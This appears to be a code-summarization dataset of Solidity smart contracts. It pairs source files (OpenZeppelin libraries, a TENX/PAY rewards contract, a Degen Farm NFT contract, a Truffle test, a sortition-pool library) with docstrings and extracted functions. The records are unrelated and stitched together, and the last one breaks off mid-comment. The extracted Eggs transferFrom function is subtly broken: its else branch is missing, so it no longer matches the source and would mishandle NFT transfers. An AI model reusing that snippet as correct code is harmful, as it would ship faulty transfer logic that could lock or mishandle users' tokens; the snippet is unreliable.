Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
pragma solidity ^0.5.2;
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
pragma solidity ^0.5.2;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.5.2;
/**
* @title Helps contracts guard against reentrancy attacks.
* @author Remco Bloemen <remco@2π.com>, Eenae <alexey@mixbytes.io>
* @dev If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
// File: openzeppelin-solidity/contracts/drafts/SignedSafeMath.sol
pragma solidity ^0.5.2;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error
*/
library SignedSafeMath {
int256 constant private INT256_MIN = -2**255;
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.2;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
pragma solidity ^0.5.2;
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.2;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must equal true).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
require(address(token).isContract());
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)));
}
}
}
// File: contracts/interfaces/IERC1594Capped.sol
pragma solidity 0.5.4;
interface IERC1594Capped {
function balanceOf(address who) external view returns (uint256);
function cap() external view returns (uint256);
function totalRedeemed() external view returns (uint256);
}
// File: contracts/interfaces/IRewards.sol
pragma solidity 0.5.4;
interface IRewards {
event Deposited(address indexed from, uint amount);
event Withdrawn(address indexed from, uint amount);
event Reclaimed(uint amount);
function deposit(uint amount) external;
function withdraw() external;
function reclaimRewards() external;
function claimedRewards(address payee) external view returns (uint);
function unclaimedRewards(address payee) external view returns (uint);
function supply() external view returns (uint);
function isRunning() external view returns (bool);
}
// File: contracts/interfaces/IRewardsUpdatable.sol
pragma solidity 0.5.4;
interface IRewardsUpdatable {
event NotifierUpdated(address implementation);
function updateOnTransfer(address from, address to, uint amount) external returns (bool);
function updateOnBurn(address account, uint amount) external returns (bool);
function setRewardsNotifier(address notifier) external;
}
// File: contracts/interfaces/IRewardable.sol
pragma solidity 0.5.4;
interface IRewardable {
event RewardsUpdated(address implementation);
function setRewards(IRewardsUpdatable rewards) external;
}
// File: contracts/roles/RewarderRole.sol
pragma solidity 0.5.4;
// @notice Rewarders are capable of managing the Rewards contract and depositing PAY rewards.
contract RewarderRole {
using Roles for Roles.Role;
event RewarderAdded(address indexed account);
event RewarderRemoved(address indexed account);
Roles.Role internal _rewarders;
modifier onlyRewarder() {
require(isRewarder(msg.sender), "Only Rewarders can execute this function.");
_;
}
constructor() internal {
_addRewarder(msg.sender);
}
function isRewarder(address account) public view returns (bool) {
return _rewarders.has(account);
}
function addRewarder(address account) public onlyRewarder {
_addRewarder(account);
}
function renounceRewarder() public {
_removeRewarder(msg.sender);
}
function _addRewarder(address account) internal {
_rewarders.add(account);
emit RewarderAdded(account);
}
function _removeRewarder(address account) internal {
_rewarders.remove(account);
emit RewarderRemoved(account);
}
}
// File: contracts/roles/ModeratorRole.sol
pragma solidity 0.5.4;
// @notice Moderators are able to modify whitelists and transfer permissions in Moderator contracts.
contract ModeratorRole {
using Roles for Roles.Role;
event ModeratorAdded(address indexed account);
event ModeratorRemoved(address indexed account);
Roles.Role internal _moderators;
modifier onlyModerator() {
require(isModerator(msg.sender), "Only Moderators can execute this function.");
_;
}
constructor() internal {
_addModerator(msg.sender);
}
function isModerator(address account) public view returns (bool) {
return _moderators.has(account);
}
function addModerator(address account) public onlyModerator {
_addModerator(account);
}
function renounceModerator() public {
_removeModerator(msg.sender);
}
function _addModerator(address account) internal {
_moderators.add(account);
emit ModeratorAdded(account);
}
function _removeModerator(address account) internal {
_moderators.remove(account);
emit ModeratorRemoved(account);
}
}
// File: contracts/lib/Whitelistable.sol
pragma solidity 0.5.4;
contract Whitelistable is ModeratorRole {
event Whitelisted(address account);
event Unwhitelisted(address account);
mapping (address => bool) public isWhitelisted;
modifier onlyWhitelisted(address account) {
require(isWhitelisted[account], "Account is not whitelisted.");
_;
}
modifier onlyNotWhitelisted(address account) {
require(!isWhitelisted[account], "Account is whitelisted.");
_;
}
function whitelist(address account) external onlyModerator {
require(account != address(0), "Cannot whitelist zero address.");
require(account != msg.sender, "Cannot whitelist self.");
require(!isWhitelisted[account], "Address already whitelisted.");
isWhitelisted[account] = true;
emit Whitelisted(account);
}
function unwhitelist(address account) external onlyModerator {
require(account != address(0), "Cannot unwhitelist zero address.");
require(account != msg.sender, "Cannot unwhitelist self.");
require(isWhitelisted[account], "Address not whitelisted.");
isWhitelisted[account] = false;
emit Unwhitelisted(account);
}
}
// File: contracts/rewards/Rewards.sol
pragma solidity 0.5.4;
/**
* @notice This contract determines the amount of rewards each user is entitled to and allows users to withdraw their rewards.
* @dev The rewards (in the form of a 'rewardsToken') are calculated based on a percentage ownership of a 'rewardableToken'.
* The rewards calculation takes into account token movements using a 'damping' factor.
* This contract makes use of pull payments over push payments to avoid DoS vulnerabilities.
*/
contract Rewards is IRewards, IRewardsUpdatable, RewarderRole, Pausable, Ownable, ReentrancyGuard, Whitelistable {
using SafeERC20 for IERC20;
using SafeMath for uint;
using SignedSafeMath for int;
IERC1594Capped private rewardableToken; // Rewardable tokens gives rewards when held.
IERC20 private rewardsToken; // Rewards tokens are given out as rewards.
address private rewardsNotifier; // Contract address where token movements are broadcast from.
bool public isRunning = true;
uint public maxShares; // Total TENX cap. Constant amount.
uint public totalRewards; // The current size of the global pool of PAY rewards. Can decrease because of TENX burning.
uint public totalDepositedRewards; // Total PAY rewards deposited for users so far. Monotonically increasing.
uint public totalClaimedRewards; // Amount of rewards claimed by users so far. Monotonically increasing.
mapping(address => int) private _dampings; // Balancing factor to account for rewardable token movements.
mapping(address => uint) public claimedRewards; // Claimed PAY rewards per user.
event Deposited(address indexed from, uint amount);
event Withdrawn(address indexed from, uint amount);
event Reclaimed(uint amount);
event NotifierUpdated(address implementation);
constructor(IERC1594Capped _rewardableToken, IERC20 _rewardsToken) public {
uint _cap = _rewardableToken.cap();
require(_cap != 0, "Shares token cap must be non-zero.");
maxShares = _cap;
rewardableToken = _rewardableToken;
rewardsToken = _rewardsToken;
rewardsNotifier = address(_rewardableToken);
}
/**
* @notice Modifier to check that functions are only callable by a predefined address.
*/
modifier onlyRewardsNotifier() {
require(msg.sender == rewardsNotifier, "Can only be called by the rewards notifier contract.");
_;
}
/**
* @notice Modifier to check that the Rewards contract is currently running.
*/
modifier whenRunning() {
require(isRunning, "Rewards contract has stopped running.");
_;
}
function () external payable { // Ether fallback function
require(msg.value == 0, "Received non-zero msg.value.");
withdraw(); // solhint-disable-line
}
/**
* Releases a specified amount of rewards to all shares token holders.
* @dev The rewards each user is allocated to receive is calculated dynamically.
* Note that the contract needs to hold sufficient rewards token balance to disburse rewards.
* @param _amount Amount of reward tokens to allocate to token holders.
*/
function deposit(uint _amount) external onlyRewarder whenRunning whenNotPaused {
require(_amount != 0, "Deposit amount must non-zero.");
totalDepositedRewards = totalDepositedRewards.add(_amount);
totalRewards = totalRewards.add(_amount);
address from = msg.sender;
emit Deposited(from, _amount);
rewardsToken.safeTransferFrom(msg.sender, address(this), _amount); // [External contract call to PAYToken]
}
/**
* @notice Links a RewardsNotifier contract to update this contract on token movements.
* @param _notifier Contract address.
*/
function setRewardsNotifier(address _notifier) external onlyOwner {
require(address(_notifier) != address(0), "Rewards address must not be a zero address.");
require(Address.isContract(address(_notifier)), "Address must point to a contract.");
rewardsNotifier = _notifier;
emit NotifierUpdated(_notifier);
}
/**
* @notice Updates a damping factor to account for token transfers in the dynamic rewards calculation.
* @dev This function adds +X damping to senders and -X damping to recipients, where X is _dampingChange().
* This function is called in TENXToken `transfer()` and `transferFrom()`.
* @param _from Sender address
* @param _to Recipient address
* @param _value Token movement amount
*/
function updateOnTransfer(address _from, address _to, uint _value) external onlyRewardsNotifier nonReentrant returns (bool) {
int fromUserShareChange = int(_value); // <_from> sends their _value to <_to>, change is positive
int fromDampingChange = _dampingChange(totalShares(), totalRewards, fromUserShareChange);
int toUserShareChange = int(_value).mul(-1); // <_to> receives _value from <_from>, change is negative
int toDampingChange = _dampingChange(totalShares(), totalRewards, toUserShareChange);
assert((fromDampingChange.add(toDampingChange)) == 0);
_dampings[_from] = damping(_from).add(fromDampingChange);
_dampings[_to] = damping(_to).add(toDampingChange);
return true;
}
/**
* @notice Updates a damping factor to account for token butning in the dynamic rewards calculation.
* @param _account address
* @param _value Token burn amount
*/
function updateOnBurn(address _account, uint _value) external onlyRewardsNotifier nonReentrant returns (bool) {
uint totalSharesBeforeBurn = totalShares().add(_value); // In Rewardable.sol, this is executed after the burn has deducted totalShares()
uint redeemableRewards = _value.mul(totalRewards).div(totalSharesBeforeBurn); // Calculate amount of rewards the burned amount is entitled to
totalRewards = totalRewards.sub(redeemableRewards); // Remove redeemable rewards from the global pool
_dampings[_account] = damping(_account).add(int(redeemableRewards)); // Only _account is able to withdraw the unclaimed redeemed rewards
return true;
}
/**
* @notice Emergency fallback to drain the contract's balance of PAY tokens.
*/
function reclaimRewards() external onlyOwner {
uint256 balance = rewardsToken.balanceOf(address(this));
isRunning = false;
rewardsToken.safeTransfer(owner(), balance);
emit Reclaimed(balance);
}
/**
* @notice Withdraw your balance of PAY rewards.
* @dev Only the unclaimed rewards amount can be withdrawn by a user.
*/
function withdraw() public whenRunning whenNotPaused onlyWhitelisted(msg.sender) nonReentrant {
address payee = msg.sender;
uint unclaimedReward = unclaimedRewards(payee);
require(unclaimedReward > 0, "Unclaimed reward must be non-zero to withdraw.");
require(supply() >= unclaimedReward, "Rewards contract must have sufficient PAY to disburse.");
claimedRewards[payee] = claimedRewards[payee].add(unclaimedReward); // Add amount to claimed rewards balance
totalClaimedRewards = totalClaimedRewards.add(unclaimedReward);
emit Withdrawn(payee, unclaimedReward);
// Send PAY reward to payee
rewardsToken.safeTransfer(payee, unclaimedReward); // [External contract call]
}
/**
* @notice Returns this contract's current reward token supply.
* @dev The contract must have sufficient PAY allowance to deposit() rewards.
* @return Total PAY balance of this contract
*/
function supply() public view returns (uint) {
return rewardsToken.balanceOf(address(this));
}
/**
* @notice Returns the reward model's denominator. Used to calculate user rewards.
* @dev The denominator is = INITIAL TOKEN CAP - TOTAL REWARDABLE TOKENS REDEEMED.
* @return denominator
*/
function totalShares() public view returns (uint) {
uint totalRedeemed = rewardableToken.totalRedeemed();
return maxShares.sub(totalRedeemed);
}
/**
* @notice Returns the amount of a user's unclaimed (= total allocated - claimed) rewards.
* @param _payee User address.
* @return total unclaimed rewards for user
*/
function unclaimedRewards(address _payee) public view returns(uint) {
require(_payee != address(0), "Payee must not be a zero address.");
uint totalUserReward = totalUserRewards(_payee);
if (totalUserReward == uint(0)) {
return 0;
}
uint unclaimedReward = totalUserReward.sub(claimedRewards[_payee]);
return unclaimedReward;
}
/**
* @notice Returns a user's total PAY rewards.
* @param _payee User address.
* @return total claimed + unclaimed rewards for user
*/
function totalUserRewards(address _payee) internal view returns (uint) {
require(_payee != address(0), "Payee must not be a zero address.");
uint userShares = rewardableToken.balanceOf(_payee); // [External contract call]
int userDamping = damping(_payee);
uint result = _totalUserRewards(totalShares(), totalRewards, userShares, userDamping);
return result;
}
/**
* @notice Calculate a user's damping factor change.
* @dev The damping factor is used to take into account token movements in the rewards calculation.
* dampingChange = total PAY rewards * percentage change in a user's TENX shares
* @param _totalShares Total TENX cap (constant ~200M.)
* @param _totalRewards The current size of the global pool of PAY rewards.
* @param _sharesChange The user's change in TENX balance. Can be positive or negative.
* @return damping change for a given change in tokens
*/
function _dampingChange(
uint _totalShares,
uint _totalRewards,
int _sharesChange
) internal pure returns (int) {
return int(_totalRewards).mul(_sharesChange).div(int(_totalShares));
}
/**
* @notice Calculates a user's total allocated (claimed + unclaimed) rewards.
* @dev The user's total allocated rewards = (percentage of user's TENX shares * total PAY rewards) + user's damping factor
* @param _totalShares Total TENX cap (constant.)
* @param _totalRewards Total PAY rewards deposited so far.
* @param _userShares The user's TENX balance.
* @param _userDamping The user's damping factor.
* @return total claimed + unclaimed rewards for user
*/
function _totalUserRewards(
uint _totalShares,
uint _totalRewards,
uint _userShares,
int _userDamping
) internal pure returns (uint) {
uint maxUserReward = _userShares.mul(_totalRewards).div(_totalShares);
int userReward = int(maxUserReward).add(_userDamping);
uint result = (userReward > 0 ? uint(userReward) : 0);
return result;
}
function damping(address account) internal view returns (int) {
return _dampings[account];
}
}
|
Returns the amount of a user's unclaimed (= total allocated - claimed) rewards. _payee User address. return total unclaimed rewards for user/
|
function unclaimedRewards(address _payee) public view returns(uint) {
require(_payee != address(0), "Payee must not be a zero address.");
uint totalUserReward = totalUserRewards(_payee);
if (totalUserReward == uint(0)) {
return 0;
}
uint unclaimedReward = totalUserReward.sub(claimedRewards[_payee]);
return unclaimedReward;
}
| 14,032,904
|
// SPDX-License-Identifier: MIT
// Degen Farm. Collectible NFT game
pragma solidity ^0.7.4;
import "./ERC721URIStorage.sol";
import "OpenZeppelin/openzeppelin-contracts@3.4.0/contracts/access/Ownable.sol";
//v0.0.1
contract Eggs is ERC721URIStorage, Ownable {
//uint256[] private _allTokens;
mapping(address => bool) public trusted_markets;
event TrustedMarket(address indexed _market, bool _state);
constructor() ERC721("Degen Farm NFTs", "EGG") {
}
function mintWithURI(
address to,
uint256 tokenId,
string memory _tokenURI
) internal {
_mint(to, tokenId);
_setTokenURI(tokenId, _tokenURI);
}
//TODO Remove if not usefull
function setURI(uint256 tokenId, string memory _tokenURI) external {
require(ownerOf(tokenId) == msg.sender, 'Only owner can change URI.');
_setTokenURI(tokenId, _tokenURI);
}
function setTrustedMarket(address _market, bool _state) external onlyOwner {
trusted_markets[_market] = _state;
emit TrustedMarket(_market, _state);
}
function getUsersTokens(address _owner) external view returns (uint256[] memory) {
//We can return only uint256[] memory, but we cant use push
// with memory arrays.
//https://docs.soliditylang.org/en/v0.7.4/types.html#allocating-memory-arrays
uint256 n = balanceOf(_owner);
uint256[] memory result = new uint256[](n);
for (uint16 i=0; i < n; i++) {
result[i]=tokenOfOwnerByIndex(_owner, i);
}
return result;
}
function baseURI() public view override returns (string memory) {
return 'https://nft.iber.group/degenfarm/V1/eggs/';
}
/**
* @dev Overriding standart function for gas safe traiding with trusted parts like DegenFarm
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `caller` must be added to trustedMarkets.
*/
function transferFrom(address from, address to, uint256 tokenId) public override {
if (trusted_markets[msg.sender]) {
_transfer(from, to, tokenId);
} else {
super.transferFrom(from, to, tokenId);
}
}
}
|
Overriding standart function for gas safe traiding with trusted parts like DegenFarm Requirements: - `from` and `to` cannot be the zero address. - `caller` must be added to trustedMarkets./
|
function transferFrom(address from, address to, uint256 tokenId) public override {
if (trusted_markets[msg.sender]) {
_transfer(from, to, tokenId);
super.transferFrom(from, to, tokenId);
}
}
| 934,755
|
pragma solidity ^0.4.17;
// https://truffleframework.com/tutorials/pet-shop
import "truffle/Assert.sol"; // assertions included with Truffle, global truffle file
import "truffle/DeployedAddresses.sol"; // This SC gets the address of the deployed contract, global truffle file
import "../contracts/Adoption.sol";
contract TestAdoption {
Adoption adoption = Adoption(DeployedAddresses.Adoption()); // create a global variable containing the SC to be tested. Use DeployedAddresses to get address of the deployed SC.
// Testing the adopt() function, adopt function is supposed to return a petId
function testUserCanAdoptPet() public {
uint returnedId = adoption.adopt(8);
uint expected = 8;
Assert.equal(returnedId, expected, "Adoption of pet ID 8 should be recorded.");
}
// Testing retrieval of a single pet's owner
function testGetAdopterAddressByPetId() public {
// Expected owner is this contract
address expected = this;
address adopter = adoption.adopters(8);
Assert.equal(adopter, expected, "Owner of pet ID 8 should be recorded.");
}
// Testing retrieval of all pet owners
function testGetAdopterAddressByPetIdInArray() public {
// Expected owner is this contract but why?
address expected = this;
// Store adopters in memory rather than contract's storage
address[16] memory adopters = adoption.getAdopters();
Assert.equal(adopters[8], expected, "Owner of pet ID 8 should be recorded.");
}
}
|
Testing retrieval of all pet owners Expected owner is this contract but why? Store adopters in memory rather than contract's storage
|
function testGetAdopterAddressByPetIdInArray() public {
address expected = this;
address[16] memory adopters = adoption.getAdopters();
Assert.equal(adopters[8], expected, "Owner of pet ID 8 should be recorded.");
}
| 14,041,587
|
pragma solidity 0.5.17;
contract BondedSortitionPoolFactory {
/// @notice Creates a new bonded sortition pool instance.
/// @return Address of the new bonded sortition pool contract instance.
function createSortitionPool(
IStaking stakingContract,
IBonding bondingContract,
uint256 minimumStake,
uint256 initialMinimumBond,
uint256 poolWeightDivisor
) public returns (address) {
return
address(
new BondedSortitionPool(
stakingContract,
bondingContract,
minimumStake,
initialMinimumBond,
poolWeightDivisor,
msg.sender
)
);
}
}
library Branch {
////////////////////////////////////////////////////////////////////////////
// Parameters for configuration
// How many bits a position uses per level of the tree;
// each branch of the tree contains 2**SLOT_BITS slots.
uint256 constant SLOT_BITS = 3;
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
// Derived constants, do not touch
uint256 constant SLOT_COUNT = 2**SLOT_BITS;
uint256 constant SLOT_WIDTH = 256 / SLOT_COUNT;
uint256 constant LAST_SLOT = SLOT_COUNT - 1;
uint256 constant SLOT_MAX = (2**SLOT_WIDTH) - 1;
////////////////////////////////////////////////////////////////////////////
/// @notice Calculate the right shift required
/// to make the 32 least significant bits of an uint256
/// be the bits of the `position`th slot
/// when treating the uint256 as a uint32[8].
///
/// @dev Not used for efficiency reasons,
/// but left to illustrate the meaning of a common pattern.
/// I wish solidity had macros, even C macros.
function slotShift(uint256 position) internal pure returns (uint256) {
return position * SLOT_WIDTH;
}
/// @notice Return the `position`th slot of the `node`,
/// treating `node` as a uint32[32].
function getSlot(uint256 node, uint256 position)
internal
pure
returns (uint256)
{
uint256 shiftBits = position * SLOT_WIDTH;
// Doing a bitwise AND with `SLOT_MAX`
// clears all but the 32 least significant bits.
// Because of the right shift by `slotShift(position)` bits,
// those 32 bits contain the 32 bits in the `position`th slot of `node`.
return (node >> shiftBits) & SLOT_MAX;
}
/// @notice Return `node` with the `position`th slot set to zero.
function clearSlot(uint256 node, uint256 position)
internal
pure
returns (uint256)
{
uint256 shiftBits = position * SLOT_WIDTH;
// Shifting `SLOT_MAX` left by `slotShift(position)` bits
// gives us a number where all bits of the `position`th slot are set,
// and all other bits are unset.
//
// Using a bitwise NOT on this number,
// we get a uint256 where all bits are set
// except for those of the `position`th slot.
//
// Bitwise ANDing the original `node` with this number
// sets the bits of `position`th slot to zero,
// leaving all other bits unchanged.
return node & ~(SLOT_MAX << shiftBits);
}
/// @notice Return `node` with the `position`th slot set to `weight`.
///
/// @param weight The weight of of the node.
/// Safely truncated to a 32-bit number,
/// but this should never be called with an overflowing weight regardless.
function setSlot(
uint256 node,
uint256 position,
uint256 weight
) internal pure returns (uint256) {
uint256 shiftBits = position * SLOT_WIDTH;
// Clear the `position`th slot like in `clearSlot()`.
uint256 clearedNode = node & ~(SLOT_MAX << shiftBits);
// Bitwise AND `weight` with `SLOT_MAX`
// to clear all but the 32 least significant bits.
//
// Shift this left by `slotShift(position)` bits
// to obtain a uint256 with all bits unset
// except in the `position`th slot
// which contains the 32-bit value of `weight`.
uint256 shiftedWeight = (weight & SLOT_MAX) << shiftBits;
// When we bitwise OR these together,
// all other slots except the `position`th one come from the left argument,
// and the `position`th gets filled with `weight` from the right argument.
return clearedNode | shiftedWeight;
}
/// @notice Calculate the summed weight of all slots in the `node`.
function sumWeight(uint256 node) internal pure returns (uint256 sum) {
sum = node & SLOT_MAX;
// Iterate through each slot
// by shifting `node` right in increments of 32 bits,
// and adding the 32 least significant bits to the `sum`.
uint256 newNode = node >> SLOT_WIDTH;
while (newNode > 0) {
sum += (newNode & SLOT_MAX);
newNode = newNode >> SLOT_WIDTH;
}
return sum;
}
/// @notice Pick a slot in `node` that corresponds to `index`.
/// Treats the node like an array of virtual stakers,
/// the number of virtual stakers in each slot corresponding to its weight,
/// and picks which slot contains the `index`th virtual staker.
///
/// @dev Requires that `index` be lower than `sumWeight(node)`.
/// However, this is not enforced for performance reasons.
/// If `index` exceeds the permitted range,
/// `pickWeightedSlot()` returns the rightmost slot
/// and an excessively high `newIndex`.
///
/// @return slot The slot of `node` containing the `index`th virtual staker.
///
/// @return newIndex The index of the `index`th virtual staker of `node`
/// within the returned slot.
function pickWeightedSlot(uint256 node, uint256 index)
internal
pure
returns (uint256 slot, uint256 newIndex)
{
newIndex = index;
uint256 newNode = node;
uint256 currentSlotWeight = newNode & SLOT_MAX;
while (newIndex >= currentSlotWeight) {
newIndex -= currentSlotWeight;
slot++;
newNode = newNode >> SLOT_WIDTH;
currentSlotWeight = newNode & SLOT_MAX;
}
return (slot, newIndex);
}
}
library DynamicArray {
// The in-memory dynamic Array is implemented
// by recording the amount of allocated memory
// separately from the length of the array.
// This gives us a perfectly normal in-memory array
// with all the behavior we're used to,
// but also makes O(1) `push` operations possible
// by expanding into the preallocated memory.
//
// When we run out of preallocated memory when trying to `push`,
// we allocate twice as much and copy the array over.
// With linear allocation costs this would amortize to O(1)
// but with EVM allocations being actually quadratic
// the real performance is a very technical O(N).
// Nonetheless, this is reasonably performant in practice.
//
// A dynamic array can be useful
// even when you aren't dealing with an unknown number of items.
// Because the array tracks the allocated space
// separately from the number of stored items,
// you can push items into the dynamic array
// and iterate over the currently present items
// without tracking their number yourself,
// or using a special null value for empty elements.
//
// Because Solidity doesn't really have useful safety features,
// only enough superficial inconveniences
// to lull yourself into a false sense of security,
// dynamic arrays require a bit of care to handle appropriately.
//
// First of all,
// dynamic arrays must not be created or modified manually.
// Use `uintArray(length)`, or `convert(existingArray)`
// which will perform a safe and efficient conversion for you.
// This also applies to storage;
// in-memory dynamic arrays are for efficient in-memory operations only,
// and it is unnecessary to store dynamic arrays.
// Use a regular `uint256[]` instead.
// The contents of `array` may be written like `dynamicArray.array[i] = x`
// but never reassign the `array` pointer itself
// nor mess with `allocatedMemory` in any way whatsoever.
// If you fail to follow these precautions,
// dragons inhabiting the no-man's-land
// between the array as it's seen by Solidity
// and the next thing allocated after it
// will be unleashed to wreak havoc upon your memory buffers.
//
// Second,
// because the `array` may be reassigned when pushing,
// the following pattern is unsafe:
// ```
// UintArray dynamicArray;
// uint256 len = dynamicArray.array.length;
// uint256[] danglingPointer = dynamicArray.array;
// danglingPointer[0] = x;
// dynamicArray.push(y);
// danglingPointer[0] = z;
